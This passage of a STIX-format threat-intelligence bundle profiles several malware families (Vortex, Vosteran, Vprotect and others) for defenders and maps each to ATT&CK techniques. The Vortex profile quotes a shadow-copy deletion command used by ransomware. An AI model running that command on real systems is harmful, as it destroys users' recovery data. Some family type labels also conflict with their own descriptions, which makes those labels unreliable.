      "description": "Vopackage exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f5da42e-d41c-511c-999c-d303d4cf5c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopackage exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bde2d7f-8d0e-53b2-a3b9-c04636bb2f15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopackage exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c13a7da-3a18-57f3-a995-63b99d8e2d7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopackage exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8e3719c-1d74-5347-9a60-8326d69ff48b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ed37ad0-2a91-5b16-b6dc-e6250608d94a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopackage exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vopak",
      "description": "Trojan:Win32/Vopak is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vopak</b><br>To an end-user, a Vopak infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vopak is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vopak is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vopak frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vopak reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vopak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vopak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0413436-2469-51fb-b23f-1b1e855d5eb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopak exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42850369-4ff3-5d2c-80a9-6422b5b37a56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopak exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9fcad44-9659-54a2-82d3-36a6c7f5fe91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopak exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecbec8c5-6351-5555-8bf6-e2c5a1a66dac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopak exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6457d70-af78-5e02-9cfa-6b717a8b2802",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac05c194-f154-5e02-a013-25daf1396214",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vopak exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a61dabc-555d-56ed-a984-914d4a98a571",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vortex",
      "description": "<h3>Executive Summary</h3>\nVortex is a destructive family of Ransomware (closely related to or derived from the AES-NI ransomware family) designed to infiltrate Windows systems, rapidly encrypt valuable user data, and extort the victim for financial gain. First observed around 2017, Vortex targets both individual users and enterprises, utilizing strong cryptographic algorithms to deny access to critical files and cause significant operational downtime.\n\n<h3>Infection Vector and Encryption Mechanics</h3>\nVortex is most frequently distributed via malicious spam (malspam) campaigns containing weaponized attachments or via exploit kits (such as RIG EK) hosted on compromised websites.\n\nOnce executed, the ransomware initiates its encryption routine:\n<ul>\n<li><strong>Data Encryption:</strong> The malware scans local drives and mapped network shares for a wide array of specific file extensions (documents, databases, images, archives). It utilizes robust AES-256 encryption.</li>\n<li><strong>File Modification:</strong> Encrypted files are typically appended with the `.vortex` extension (or a related AES-NI variant extension).</li>\n<li><strong>System Sabotage:</strong> Vortex actively attempts to delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy recovery of the encrypted files via Windows System Restore.</li>\n<li><strong>Extortion:</strong> It drops a ransom note (usually named `HOW_TO_DECRYPT_FILES.html` or similar) providing instructions for paying the ransom in Bitcoin via a Tor hidden service to obtain the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vortex infection is a critical security incident that directly impacts data availability and business continuity. While not as prevalent as modern RaaS threats, the underlying AES-NI based encryption is highly effective and difficult to crack without the key.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The infected host must be immediately disconnected from the LAN to halt the encryption of mapped network shares and sever communication with the attacker's C2 infrastructure.</li>\n<li><strong>Decryption Tools:</strong> Because Vortex is an older, AES-NI related family, the master decryption keys for several variants were eventually released. <strong>Do not pay the ransom.</strong> Organizations should check resources like the \"No More Ransom\" project or Kaspersky's RakhniDecryptor to see if a free decryptor is available for their specific variant.</li>\n<li><strong>Restore from Backup:</strong> If a decryptor is unavailable, the most reliable recovery method is to wipe the infected system completely and restore data from a clean, offline backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Vortex",
        "Ransom.AES-NI",
        "Win32/Vortex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vortex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vortex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62e14c3d-5e60-558b-8d44-44c2e0920c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a61dabc-555d-56ed-a984-914d4a98a571",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vortex exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12badb89-e51b-565a-8d61-91573a8a4d42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a61dabc-555d-56ed-a984-914d4a98a571",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vortex exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cb4b6f9-817e-50c2-96ad-05cedacce6b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a61dabc-555d-56ed-a984-914d4a98a571",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vortex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4975336e-c8b4-5e6e-9115-67b6e0748aeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vosteran",
      "description": "BrowserModifier:Win32/Vosteran is a highly persistent Potentially Unwanted Program (PUA) and browser hijacker that forcefully takes control of the user's web browsers. It replaces the default homepage, new tab page, and search engine with `vosteran.com` (or similar affiliate domains). Its primary goal is to drive massive amounts of forced web traffic to monetized search portals, generating illicit pay-per-click revenue for its operators.<br><br><b>Understanding Vosteran Hijackers</b><br>To an end-user, a Vosteran infection is a severely frustrating experience. Their browser is completely locked; attempts to manually change the settings back to Google or Bing are immediately reversed. For security analysts, Vosteran represents a complex adware framework. Unlike simple extensions, Vosteran utilizes deep operating system hooks, registry modifications, and watchdog services to ensure its persistence, making standard removal methods ineffective.<br><br><b>Execution and Hijacking Mechanics</b><br>Vosteran is primarily distributed via aggressive software bundlers (`T1189`) found on dubious freeware download sites. The installer uses deceptive pre-checked boxes to gain 'consent' (`T1204.002`). Upon execution, it installs malicious Browser Helper Objects (BHOs) (`T1176`) and forcefully alters the shortcut properties (`.lnk` files) of Chrome, Firefox, and Edge on the desktop and taskbar, appending the Vosteran URL as a command-line argument (`T1547.009`). Furthermore, it modifies the Windows Registry (`T1112`) to lock the browser settings and installs a background Windows Service (`T1543.003`) that acts as a watchdog. If the user manages to delete the extension or fix the shortcut, this watchdog service will instantly reinstall Vosteran.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, forced redirection through potentially insecure ad networks, and a massive influx of helpdesk tickets. Incident responders will observe modified browser shortcuts (`chrome.exe http://vosteran.com...`). EDR logs will flag the installation of the Vosteran watchdog service and the unauthorized modification of browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome`). (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vosteran",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vosteran"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20d04779-86d9-55aa-b2f8-5c4f1a8123ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4975336e-c8b4-5e6e-9115-67b6e0748aeb",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vosteran exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10e49519-d74e-59ea-8896-f32be270be7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4975336e-c8b4-5e6e-9115-67b6e0748aeb",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vosteran exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Appending URL to browser shortcuts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a1e9b53-8061-54f5-a2a1-90f14e7239ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4975336e-c8b4-5e6e-9115-67b6e0748aeb",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vosteran exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58f08bb2-3cff-5c98-a346-23fc4f26cd3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4975336e-c8b4-5e6e-9115-67b6e0748aeb",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vosteran exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Watchdog service))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8615d48f-7a48-55aa-bd33-b2f3c50a8f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Votchsys",
      "description": "<h3>Executive Summary</h3>\nVotchsys is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as info-stealers or botnet components.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVotchsys is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents) or via compromised software installers downloaded from peer-to-peer networks.\n\nUpon successful execution, Votchsys operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Votchsys ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by creating hidden Scheduled Tasks that execute the malware payload upon user login.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Votchsys receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials) or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Votchsys infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Votchsys executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Votchsys often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Votchsys",
        "Downloader.Votchsys",
        "Win32/Votchsys"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Votchsys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/votchsys"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49475e79-db6a-5874-a1c1-32057fab1ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8615d48f-7a48-55aa-bd33-b2f3c50a8f5b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Votchsys exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35414c4d-8139-5c9e-928a-bc33fb598090",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8615d48f-7a48-55aa-bd33-b2f3c50a8f5b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Votchsys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--929ace4a-3e86-5d5f-9c90-c23b5e0d529c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8615d48f-7a48-55aa-bd33-b2f3c50a8f5b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Votchsys exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e88998bc-4188-5f91-af3f-03e537d5ddc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vprotect",
      "description": "Rogue:Win32/Vprotect is a prominent example of 'Rogue Security Software', 'Fake AV', or 'Scareware'. It is designed to look and act like a legitimate antivirus or system optimization program. Its sole objective is to perform a fabricated system scan, report non-existent, critical malware infections, and use aggressive social engineering to frighten the user into paying for a 'premium license' to remove the imaginary threats (`T1566.002`).<br><br><b>Understanding Vprotect (Rogue AV)</b><br>To an end-user, Vprotect causes immense panic. It aggressively mimics legitimate Windows Security Center alerts and floods the desktop with terrifying warnings. For a security team, it represents a successful phishing or drive-by compromise. Vprotect not only steals money via fraud but often actively degrades system usability by blocking the execution of legitimate tools (including Task Manager and real AV) to force the user to pay.<br><br><b>Execution and Deception Mechanics</b><br>Vprotect is typically distributed via Blackhat SEO (poisoned search results), malvertising, or bundled with other software. Upon execution, it establishes persistence (often via the Registry Run keys) so it launches immediately on boot (`T1547.001`). The malware presents a professional-looking GUI and begins a 'scan'. It rapidly generates fake log entries. Crucially, to prevent removal, it often modifies the Windows Registry to disable Task Manager, Registry Editor, and Command Prompt (`T1562.001`), and may use Image File Execution Options (IFEO) to intercept and block the launch of known antivirus executables.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud and severe endpoint disruption. Host-based IoCs include the presence of the 'Vprotect' GUI demanding payment, persistent desktop alerts, and the sudden inability to launch standard Windows administrative tools (Task Manager). EDR telemetry will show anomalous registry modifications targeting `DisableTaskMgr` or `DisableRegistryTools` within the `Policies\\System` hive. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vprotect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vprotect"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99cf590a-7b72-5098-baa6-04b905d61f3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88998bc-4188-5f91-af3f-03e537d5ddc6",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vprotect exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to drive the initial download))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef4276bb-112d-5b8d-8002-2468099fe0a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88998bc-4188-5f91-af3f-03e537d5ddc6",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vprotect exhibits technique T1491.001 (Defacement: Internal Defacement (Flooding the desktop with fake security alerts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cef4b99f-af5d-552a-9188-ccb1af42bca5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e88998bc-4188-5f91-af3f-03e537d5ddc6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vprotect exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager and real AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vrbrothers",
      "description": "Adware:Win32/Vrbrothers is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Vrbrothers?</b><br>To the average user, Vrbrothers is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Vrbrothers operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Vrbrothers is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Vrbrothers wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vrbrothers",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vrbrothers"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3fe1892-8540-5eff-8169-3f4fe6b180f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vrbrothers exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebe0fbbe-6615-59f2-a45e-ed327a29e186",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vrbrothers exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f6e2fd3-f6b8-5042-b22a-7a9eac9b9304",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vrbrothers exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4213cf55-467c-5bc4-adc5-4141c747ca6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vrbrothers exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe081dcb-ba6d-5242-ad3d-7d58b22db1fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67c0e94d-15a4-5fe9-9e5a-60783426c04f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
